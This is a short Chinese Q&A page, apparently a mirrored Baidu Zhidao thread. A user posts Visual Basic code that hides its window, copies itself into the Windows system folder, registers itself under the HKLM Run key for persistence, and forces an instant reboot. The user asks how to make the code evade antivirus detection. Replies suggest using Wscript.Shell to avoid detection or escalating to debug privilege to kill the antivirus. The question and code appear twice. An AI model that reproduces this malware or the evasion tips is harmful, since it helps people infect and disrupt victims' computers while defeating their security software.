UC知道将这VB代码搞成免杀
来源：百度知道 编辑：UC知道 时间：2024/05/11 02:16:04
Private Sub Form_Load()
App.TaskVisible = False ''将属性Visible改为False
Dim f As String
f = App.Path & "\" & App.EXEName & ".exe"
d = "C:\WINDOWS\SYSTEM\bo.exe"
FileCopy f, d
Set wsh = CreateObject("Wscript.Shell")
wsh.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\xiaochouwanju", "C:\WINDOWS\SYSTEM\bo.exe"
Shell "shutdown -R -t 0"
End Sub
怎么搞，最好发代码。
App.TaskVisible = False ''将属性Visible改为False
Dim f As String
f = App.Path & "\" & App.EXEName & ".exe"
d = "C:\WINDOWS\SYSTEM\bo.exe"
FileCopy f, d
Set wsh = CreateObject("Wscript.Shell")
wsh.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\xiaochouwanju", "C:\WINDOWS\SYSTEM\bo.exe"
Shell "shutdown -R -t 0"
End Sub
怎么搞，最好发代码。
改注册表想不被发现，现在的监控，你就是管理员权限也会提示的！
Wscript.Shell用这个写好象不会被检测吧？要不就提到DEBUG权限把杀软给干了。。。
做梦？